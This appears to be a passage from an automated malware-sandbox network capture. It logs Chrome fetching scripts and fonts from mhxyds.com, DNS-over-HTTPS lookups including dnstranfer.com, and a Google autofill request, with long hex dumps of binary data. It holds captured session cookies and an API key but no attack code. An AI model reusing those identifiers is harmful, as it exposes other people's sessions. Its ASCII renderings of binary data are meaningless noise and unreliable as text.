Data Ascii: a)z)j2x;{QMZ4zVNzQPZ1IwIx|xam-]]7W,>5RUE;NZ,|_33%Um&`]9"/<M@baHu1];-I%sDxV+jz@9>mUvdm4N(
Lo^G+S2({{oD %.~Lec

2022-08-11 03:42:57 UTC 10764 IN Data Raw: 34 f1 d5 55 b5 46 83 e5 7a 77 2d e3 d0 d7 5e 3e 9e d3 d9 c2 ba b4 c8 b5 1d 1f 73 0e e5 75 04 45 ec 26 f0 d8 
0a 00 29 80 30 06 41 e8 12 df b8 9c 1e 4b 75 d2 c9 b0 72 43 ae bb 4f 2b 4d 25 66 69 31 0f 27 fa 3a dc 8f 17 ee 45 43 ba 
70 aa 23 92 92 a9 14 8f b8 96 9d 91 74 90 4f 37 f6 82 f3 52 5d cc b0 b1 0a 1b 03 cb 80 e8 4b c8 bb d4 db 85 94 76 fb f3 
09 d2 87 e2 c1 14 3e 45 40 fe 60 f4 b8 eb ee da cb ee 8d c7 b7 ba 13 7a 6d f4 d8 72 d6 56 53 e5 37 a6 e2 97 29 4f 1d 16 
ee 92 8d 4c 94 f5 78 ea d0 64 a7 c8 e1 e1 a5 81 63 a2 a5 8d 95 d2 00 15 c9 91 8b 7b 4e 27 98 92 09 20 d3 a3 db eb 0b 
58 6f e1 92 c0 2f d3 31 a6 09 26 b4 04 d4 1c 8e 3f 61 cd 3a 31 5d bd db ef 5d 95 83 a8 fa 8a 81 d3 17 83 34 df 67 8a c7 
04 12 d4 e4 27 82 d5 5b 8b 38 f1 0d 12 47 52 09 58 45 ed 45 
Data Ascii: 4UFzw-^>suE&)0AKurCO+M%fi1':ECp#tO7R]Kv>E@`zmrVS7)OLxdc{N' Xo/1&?a:1]]4g'[8GRXEE

2022-08-11 03:42:57 UTC 10780 IN Data Raw: bd 25 97 dc 0e 58 62 51 36 84 02 be 4a 9f b3 fb 4e 1d 18 3e b3 d8 54 bf e8 f7 17 80 df 92 e4 32 db bb f8 a4 
b9 0d ad bb 1e bd ff 00 bf 18 05 96 2a 45 9a a6 6a 85 68 63 18 ad be 69 16 58 e9 dc 9f 2c b5 1a 14 dc 92 0c 8d b1 6b 76 
d1 c3 a2 7b 9d ff 00 6e be bb 4b 9b 48 04 71 00 05 28 a3 3f 93 1e 98 f2 1b c3 bf 7a e0 d4 63 b6 ef 7d ee 8d c3 05 4d 76 
4f 33 53 4f b9 31 d4 50 a5 34 d2 18 a8 ea 2b aa ea 4c 93 ad 7d 4e 5e 90 85 a3 12 4f 03 44 53 8b 7b 20 6b 49 3c 42 33 
c7 a1 0d b6 eb 6d 3a 80 14 53 e5 4f f3 9e 9b b6 97 61 ee ed 85 51 8b dd 3b 93 7f 53 e2 77 46 de dd 90 ee 3d bf b1 77 8e 
d5 a9 59 37 54 a9 fe 52 9b 97 3f 92 35 b4 f8 75 c5 52 b7 fc 07 2b 55 33 b4 96 44 4d 4c 18 2c 68 cc 71 f8 6d f8 87 57 d7 
1c 53 24 b1 7f 2a 74 a3 de f9 ff 00 92 9f 27 37 ff 00 fa 46 
Data Ascii: %XbQ6JN>T2*EjhciX,kv{nKHq(?zc}MvO3SO1P4+L}N^ODS{ kI<B3m:SOaQ;SwF=wY7TR?5uR+U3D
ML,hqmWS$*t'7F

2022-08-11 03:42:57 UTC 10796 IN Data Raw: fa b0 14 14 af 4d 9b 7b 6f e4 37 09 69 31 8f 34 ca ee 56 4c 84 c1 bc 41 57 d2 26 52 e1 3e e1 af 7d 2e 78 e3 e9 
ef 5d 5b a1 f7 67 e1 b6 d7 5b f9 73 75 d5 20 e4 65 8a 58 e4 ac aa 94 49 2d 63 cc ba 1e 59 a5 b8 50 62 45 21 54 00 a3 83 
f5 f7 ee bc 7a 5f fc 8c 7c 96 fa eb ed 81 d8 1b 7b 20 cd 85 9f 1a 98 ad c3 55 4f 29 7a 88 7f 87 cb 2d 3c 35 ad a4 06 11 ca 
ab 67 61 76 e2 c2 fe fd d7 ba 2c 7b 7b 03 f7 5a 69 e7 65 a3 a1 87 4d 4d 75 54 a7 54 0b 4f 17 f9 b9 a5 7e 15 16 ac 36 a8 
d1 75 48 ff 00 56 55 3c 7b 76 3e 07 aa 32 ea a6 7a 3c 3d 8f b8 60 8b a9 b6 a6 52 87 29 5f 8b a4 a7 c1 52 50 ad 65 3c 62 
97 21 3d 32 bd 4d 0f 89 14 96 f0 c3 52 29 35 47 22 9f 21 b9 fa 7e 5d f5 ce 3a d7 87 e7 5e 8a 0d 26 27 27 9f 8a 3f ba 32 
ed 0d 9a 8a 5e a2 be ae 4d 35 99 b7 46 32 7a a6 90 
Data Ascii: M{o7i14VLAW&R>}.x][g[su eXI-cYPbE!Tz_|{ UO)z-<5gav,{{ZieMMuTTO~6uHVU<{v>2z<=`R)_RPe<b!=2
MR)5G"!~]:^&''?2^M5F2z

2022-08-11 03:42:57 UTC 10812 IN Data Raw: e2 2a 78 46 58 b3 56 4f c1 93 73 65 a3 fd e8 d6 ff 00 e6 b1 94 0c 0c 30 46 3e 81 80 06 d6 f7 ae bd f2 e9 31 94 
cf 53 89 df 25 4c 90 18 e3 46 79 b2 b9 9f f2 e6 2c a2 ea d4 eb 21 35 0e ec 7f 4c 6b 65 4f f6 3e fd 5e bc 4e 3a 0c b3 5b c8 
e9 7c b5 76 49 a1 12 42 d7 c9 e5 44 73 cf 15 38 36 5a 7a 1a 6b 3a 51 ff 00 55 01 1e 40 3f a7 d7 dd 24 e0 3a f7 40 36 5b 
7c 45 14 55 d3 60 60 11 43 50 1a 6c 8e e7 c9 3b cb 3d 4a 02 15 a3 1e 76 67 68 d8 b0 20 ca cb a7 4f a6 c3 8f 6c f5 ee 90 
d1 54 d6 ee 79 62 a7 c5 43 2e 41 d0 79 bf bc 12 eb 78 58 ff 00 cd 89 1b f6 eb 1a 9e e3 4e 91 a6 3f c9 e7 df ba f7 53 71 
d8 4d ad 8f c9 34 b3 53 54 ef fd e1 13 6b 8b 1f 48 ac f1 a4 80 12 57 25 3a 03 4f 47 0c 7f 53 76 04 fd 3d fb af 74 af 9e 9a 
b3 35 24 50 6e 4a 91 51 18 75 9a 9f 60 6d e7 7f 
Data Ascii: *xFXVOse0F>1S%LFy,!5LkeO>^N:[|vIBDs86Zzk:QU@?$:@6[|EU``CPl;=Jvgh OlTybC.AyxXN?
SqM4STkHW%:OGSv=t5$PnJQu`m

2022-08-11 03:42:57 UTC 10851 IN Data Raw: b5 0d 69 96 a6 17 31 a4 d4 fa 01 3f b3 1a 8e 39 1e ef 27 15 e9 ab 35 7b b1 2b 30 c2 9f f0 f4 92 ac cc 49 93 68 
f0 f4 55 86 96 9e 18 63 a7 96 a2 1e 63 d2 ab c4 4a cb 7d 31 bd c8 51 f5 1f 9f 6d f4 65 1c 5e 1d 31 d6 38 27 a4 c0 a7 db 
c5 1c 6b 2c ca d0 a4 65 ed 54 ed 27 0d 50 ad 72 c4 01 cf 1e fc 38 e7 a5 14 2e 3e ce b8 c1 45 58 6a a1 85 aa 31 94 8d a1 
9d 3c 6c 6b 32 75 51 9f 51 69 c5 45 c5 1a 69 fa 48 b6 37 e3 df ba df 84 78 f9 74 d1 5d 53 4d 0b 35 0d 15 65 54 d2 4f 29 
5a 88 29 a7 12 cd 22 f3 a9 67 c9 48 1e 1a 5a 72 df 86 0c 01 fc 7b a3 ae a0 07 4f c2 9a 35 31 c0 ea 46 33 1f 90 ad d5 4d 
4b 48 22 48 96 40 d4 78 88 e4 90 96 d2 c6 3f bf c8 4b ae 57 77 6b 7e 83 14 67 fd 4f ba 78 47 cf aa cd 2a 80 40 15 e9 41 
81 c2 1c 66 07 69 e7 6a 11 26 cb 4f 88 85 68 31 fa 99 
Data Ascii: i1?9'5{+0IhUccJ}1Qme^18'k,eT'Pr8.>EXj1<lk2uQQiEiH7xt]SM5eTO)Z)"gHZr{O51F3MKH"H@x?KWwk~gO
xG*@Afij&Oh1

2022-08-11 03:42:57 UTC 10867 IN Data Raw: ca d8 1d 99 89 93 72 66 83 14 38 fc 12 fd 86 1e 9d ee 42 c9 5f 94 0a ed 30 47 e5 ac 75 10 0d b9 f6 c7 d9 d6 
c2 f0 24 d1 7a 0a f7 66 46 0c b4 d1 56 f6 e6 e1 93 26 d1 01 f6 3d 71 b6 59 a9 60 46 50 0c 69 58 f0 48 f1 55 35 ec 0b c8 
c8 ff 00 53 6b f1 ef d4 af 1e bc 18 ad 74 9e b2 63 f1 1b eb 77 c1 0d 06 da c6 c1 d7 db 37 49 0b 4d 4c 91 25 6c b1 81 fa aa 
6b e7 55 66 21 79 27 eb ef dd 6b a7 6a 0a 5e bb eb 70 29 e9 12 7e c0 dc f3 7e b5 32 2c 94 fa b8 e5 aa e4 0e b6 bf f5 3e 
fd d7 ba c9 8c c8 6e 7d e7 ba f0 31 6e 2c 84 34 34 69 5f 40 d1 e0 b1 80 53 34 88 92 28 71 34 2a c1 b4 c6 38 62 47 16 f7 
ba 1f 4e bd d5 dd 7c 9f ae ae eb 1f e5 c3 4b 82 c4 d4 8c 5e 5b b4 2b f1 34 fe 40 35 48 d4 79 5a ff 00 b9 9a 2d 3f a9 9f ed 
07 23 eb 6f 7e a1 f4 eb dd 50 16 07 61 d5 e4 f2 71 
Data Ascii: rf8B_0Gu$zfFV&=qY`FPiXHU5Sktcw7IML%lkUf!y'kj^p)~~2,>n}1n,44i_@S4(q4*8bGN|K^[+4@5HyZ-?#o~Paq

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:57 UTC 10885 IN Data Raw: 16 96 39 e3 86 9a 08 09 fb 9a 8c f6 e0 82 7a 7a 69 df ea 13 13 b7 81 19 bd c5 59 29 37 8a 4a 96 a4 a4 1c 16 
6f 77 e1 d7 b8 74 dd 90 dd 58 aa 79 d2 6a 08 e5 a9 aa a6 56 4a 6c c6 e6 6a 68 a7 84 38 3e 54 c5 62 a0 79 28 31 71 2b 
71 a8 ac ae bf d9 63 f5 f7 ae bd d0 21 bd 3b 1a 86 49 9c 2c f5 99 ba 98 91 8c bf 6e 87 23 38 62 0e 9d 2e f2 47 4b 0d 25 
39 fe dc 8c ac e3 e8 be f7 d7 bc fa 34 bf 0d f6 95 6f 66 6e 5d 9d 8a cc 53 45 1d 16 6b 7b 62 6a 32 f2 2d 40 9a 26 da d8 19 
d3 2d 5d 3b 28 55 48 ad 1d 2f a9 39 03 dd 49 a7 5a 65 06 32 7a 05 3b eb 7f 6f 0e c4 ef ce ce ec da 7a ec 76 d9 db f5 7b 
af 21 16 3a 5c a7 92 78 b2 d4 18 29 e4 a6 c7 d3 ac 31 dd 84 55 94 b0 aa 8b 0e 6f 61 ef de 10 7e 98 b6 94 ac 98 3d 1f ef 
81 ff 00 26 76 96 eb c3 9e 8a ec 89 63 ac eb 7d c8 2a a9 
Data Ascii: 9zziY)7JowtXyjVJljh8>Tby(1q+qc!;I,n#8b.GK%94ofn]SEk{bj2-@&-];(UH/9IZe2z;ozv{!:\x)1Uoa~=&vc}*

2022-08-11 03:42:57 UTC 10901 IN Data Raw: eb dd 4d a5 a7 93 3b 50 d1 a4 75 d9 5a c5 61 20 86 9e 00 b4 14 62 e1 07 9e 1a 42 f4 74 88 ac c0 13 39 13 0b 
fe 9b 5c 8f 75 ef 2f 97 42 b6 3f aa f7 35 6c 0b 36 71 93 13 8d 30 dd a8 a8 a5 88 d1 cf 00 d2 5a 5a bc b4 a1 20 a5 8d 14 
7a 94 58 9b ff 00 4f 7e eb d8 f4 e9 6d b1 37 8e c0 c1 e6 31 5b 1b 6a 67 69 ce e2 a2 ae 7c b6 32 af 19 24 cf 8b a5 cb d2 
da 7f b5 a8 c8 96 2b 53 59 58 e8 04 65 58 fe e0 00 72 7d e8 11 c0 75 76 57 23 c4 61 83 d0 b1 f3 a6 8e af 70 cd b0 3b 83 
21 9e aa a4 d9 3d 8b b6 19 32 3b 77 1c ad 4c 13 b1 70 4b 15 36 6e 9a 68 a1 54 8f c9 5d 0f ef 39 61 76 55 7b 7e 93 ef 7d 
54 70 38 e9 27 d3 54 34 34 5b 0a aa b7 1b 49 06 3a 4a ba 59 aa 66 48 e4 37 86 45 a7 92 3a 6a a9 ac 19 83 a4 8c a4 71 
6b fd 6d ef dd 6b a0 93 11 d7 11 d1 0f e2 85 1e 7a d2 b5 12 
Data Ascii: M;PuZa bBt9\u/B?5l6q0ZZ zXO~m71[jgi|2$+SYXeXr}uvW#ap;!=2;wLpK6nhT]9avU{~}Tp8'T44[I:JYfH7
E:jqkmkz

2022-08-11 03:42:57 UTC 10917 IN Data Raw: 98 20 c6 6e fa 88 c2 ee 4c ed 1e 1e 0a 84 01 a9 b1 8d 4b 49 2b 46 2d 65 f2 b9 9e a0 b5 87 d3 4a ff 00 af ef d9 
f3 e9 74 e6 08 d0 18 97 27 fd 5e 5d 4f ad 4c 0d 3c 2b 0c 54 b2 d5 54 c4 89 1a d7 56 88 f2 15 92 46 ae 85 c2 e4 b2 ff 00 
78 62 89 82 f3 1c 61 01 fc 5b de a9 fb 7a 2b 9a 76 a3 0d 5d a7 8f fc 57 4f 7b 8b 2d 5d 4d d7 f4 55 71 d4 0c 43 56 34 50 
33 51 c1 09 94 45 4d 2b 47 1c 50 05 43 10 92 a2 10 2e 74 de e7 82 3d ec d4 f0 3d 31 6f 28 33 00 45 70 7a 07 28 a9 f2 55 
f4 a8 a2 05 a0 35 53 37 92 af 24 ee 2b a7 50 6e ae ff 00 72 d2 48 fe 5f e8 96 1c f0 3d fa bd 2e 38 c5 7a 10 31 dd 79 4f 04 
42 a6 aa ae a2 69 19 43 f8 04 6d 16 90 45 d9 a2 a7 85 91 e6 1c f2 64 0a 00 e7 9f 7e eb de 5d 3b d3 d5 e0 f1 45 52 8d a9 
27 6a 76 2d 1c 94 b3 07 95 66 00 82 2a b2 80 08 e9 
Data Ascii:  nLKI+F-eJt'^]OL<+TTVFxba[z+v]WO{-]MUqCV4P3QEM+GPC.t==1o(3Epz(U5S7$+PnrH_=.8z1yOBiCmEd~]
;ER'jv-f*

2022-08-11 03:42:57 UTC 10933 IN Data Raw: a9 07 a4 17 c8 cf 9e 9d 13 f1 db 07 53 93 de 7b df 01 89 4a 33 50 f1 a5 66 42 3a 7a 8a 99 a2 26 e9 4f 49 46 
d1 4f 34 85 87 05 ee 18 f3 6e 7d 9d 6d 9c ae f7 20 3d c4 f4 63 f2 af f9 7f c1 d0 53 78 e7 c5 b3 25 2d 2c 0d 07 f4 87 fd 03 
d5 43 ff 00 d0 44 bf 1c 3f e3 a6 e5 ff 00 8f b3 ed bf e2 d4 df f1 67 ff 00 9d e7 fc 02 ff 00 8b 7f f8 7e 9f f6 af 62 bf ea be df fe 
fb 1f d9 e8 f3 e3 eb c7 a0 57 fa e3 6e 7f f2 8e df da ea e2 bc 3d 3e 1e bf ff d7 d5 8f 37 91 35 94 09 90 ad 78 b2 18 ec d8 
35 67 18 a5 31 f9 0c 5e 62 30 23 6a 8a 5d 0a 0d 2d 04 b2 0e 62 fd 2d 6e 3d ce 65 7c 5c f9 1f f5 63 ac 3f b6 b4 8e 21 a9 
85 24 04 e7 c8 8f 9f af c8 f4 88 a8 fe 2b 8d a4 54 81 9e a2 69 0a cf 3d 50 60 00 79 38 58 95 50 04 44 50 3e bf a8 fb 6a 44 
78 80 28 32 7a 51 2b 5a 48 62 50 68 
Data Ascii: S{J3PfB:z&OIFO4n}m =cSx%-,CD?g~bWn=>75x5g1^b0#j]-b-n=e|\c?!$+Ti=P`y8XPDP>jDx(2zQ+ZHbPh

2022-08-11 03:42:57 UTC 10949 IN Data Raw: 4d 95 be b7 0a 54 55 e5 ea 62 a1 8a ac 06 19 1d d3 51 e6 d1 19 60 e4 d1 62 a8 9d 96 2b a8 b7 2e 48 1f 51 
ee ac e0 82 3a f7 4f f4 94 7b 23 0f 2d 3d 3d 32 57 ee ac 9c 51 f8 e7 4a 18 d6 2c 6c d3 db 4f 8d 67 3f a1 2f fd 04 8c 07 e3 
db 5d 7b a5 02 4b 90 a5 80 ff 00 11 aa c3 ed 7c 55 41 29 15 1d 0d 41 a4 ab 85 18 58 4a d9 43 13 d7 d4 ce a0 dc 46 94 
c3 51 e0 1f 7e eb dd 71 c4 ed da d9 71 97 db 18 5a 8c 96 64 4e f2 be f4 dd f3 1c 26 3d 60 2e 18 45 0c 35 c6 a6 ab 21 08 
5f ab 46 88 ec 3e 82 fe fd d7 85 2a 2b c3 a5 1e e6 db b5 78 3c 0c 5b aa 1c ec 39 6d d3 b7 67 81 a7 93 1b 4d 26 27 1a f4 
1e 89 98 c3 4b 93 93 cb 91 92 9d c1 0a c0 02 c0 7b f7 5e fb 3a b6 be bc ec 4a 1f 9b 7f 12 72 78 ea 3f 0c df 20 7a 77 0c 7f 
85 51 86 8e 96 4c b6 06 24 2d 45 4a b5 11 09 2a 2a 63 ad 
Data Ascii: MTUbQ`b+.HQ:O{#-==2WQJ,lOg?/]{K|UA)AXJCFQ~qqZdN&=`.E5!_F>*+x<[9mgM&'K{^:Jrx? zwQL$-EJ**c

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.11.20 58955 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:40 UTC 338 OUT GET /js/jquery.min.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

180 192.168.11.20 54407 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10623 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

181 192.168.11.20 59938 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 10624 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:56 UTC 10625 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 0a 64 6e 73 74 72 61 6e 66 65 72 03 63 6f 6d 00 00 01 00 01 00 00 29 
10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: dnstranfercom)UQ

Session ID Source IP Source Port Destination IP
Destination
Port

Process

182 192.168.11.20 58569 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 10625 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:56 UTC 10625 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 63 6f 6e 74 65 6e 74 2d 61 75 74 6f 66 69 6c 6c 0a 67 6f 6f 67 6c 65 
61 70 69 73 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 44 00 0c 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: content-autofillgoogleapiscom)D@

Session ID Source IP Source Port Destination IP
Destination
Port

Process

183 172.64.145.85 443 192.168.11.20 58569 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10625 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6d60e3990a6-FRA

2022-08-11 03:42:56 UTC 10625 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 10 63 6f 6e 74 65 6e 74 2d 61 75 74 6f 66 69 6c 6c 0a 67 6f 6f 67 6c 65 
61 70 69 73 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 4f 00 04 8e fb 24 2a 00 00 29 04 d0 00 00 00 00 01 88 
00 0c 01 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: content-autofillgoogleapiscomO$*)

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

184 192.168.11.20 60511 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 10626 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780

Session ID Source IP Source Port Destination IP
Destination
Port

Process

185 192.168.11.20 61051 142.251.36.42 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10682 OUT GET /v1/pages/ChNDaHJvbWUvOTQuMC40NjA2LjYxEiUJfeaFUuhwy_sSBQ3EfvGoEgUNuF-NDxIFDa6z5okSBQ30
_KSfGK2pygE=?alt=proto HTTP/1.1
Host: content-autofill.googleapis.com
Connection: keep-alive
X-Goog-Encode-Response-If-Executable: base64
X-Goog-Api-Key: AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
X-Client-Data: CI+2yQEIorbJAQjEtskBCKmdygEIwPbKAQjv8MsBCOryywEI7/LLAQiO9MsBCKf5ywEI1vzLAQi
0/8sBCOeEzAEI/4XMAQjLicwBGK2pygEY5aDLAQ==
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

186 142.251.36.42 443 192.168.11.20 61051 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10747 IN HTTP/1.1 200 OK
Cache-Control: private,max-age=604800
Content-Type: text/plain
X-Goog-Safety-Encoding: base64
X-Goog-Safety-Content-Type: application/x-protobuf
Vary: X-Origin
Vary: Referer
Date: Thu, 11 Aug 2022 03:42:57 GMT
Server: ESF
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Origin,Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-08-11 03:42:57 UTC 10748 IN Data Raw: 33 34 0d 0a 43 69 51 4b 42 77 33 45 66 76 47 6f 47 67 41 4b 42 77 32 34 58 34 30 50 47 67 41 4b 42 77 32 
75 73 2b 61 4a 47 67 41 4b 42 77 33 30 2f 4b 53 66 47 67 41 3d 0d 0a 
Data Ascii: 34CiQKBw3EfvGoGgAKBw24X40PGgAKBw2us+aJGgAKBw30/KSfGgA=

2022-08-11 03:42:57 UTC 10748 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

187 172.64.145.85 443 192.168.11.20 59938 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10748 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:57 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6d5d95e6943-FRA

2022-08-11 03:42:57 UTC 10748 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 0a 64 6e 73 74 72 61 6e 66 65 72 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 
00 01 00 00 02 58 00 04 2f f3 64 cf 00 00 29 04 d0 00 00 00 00 01 99 00 0c 01 95 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: dnstranfercomX/d)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

188 118.27.105.118 443 192.168.11.20 54407 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10883 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:57 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

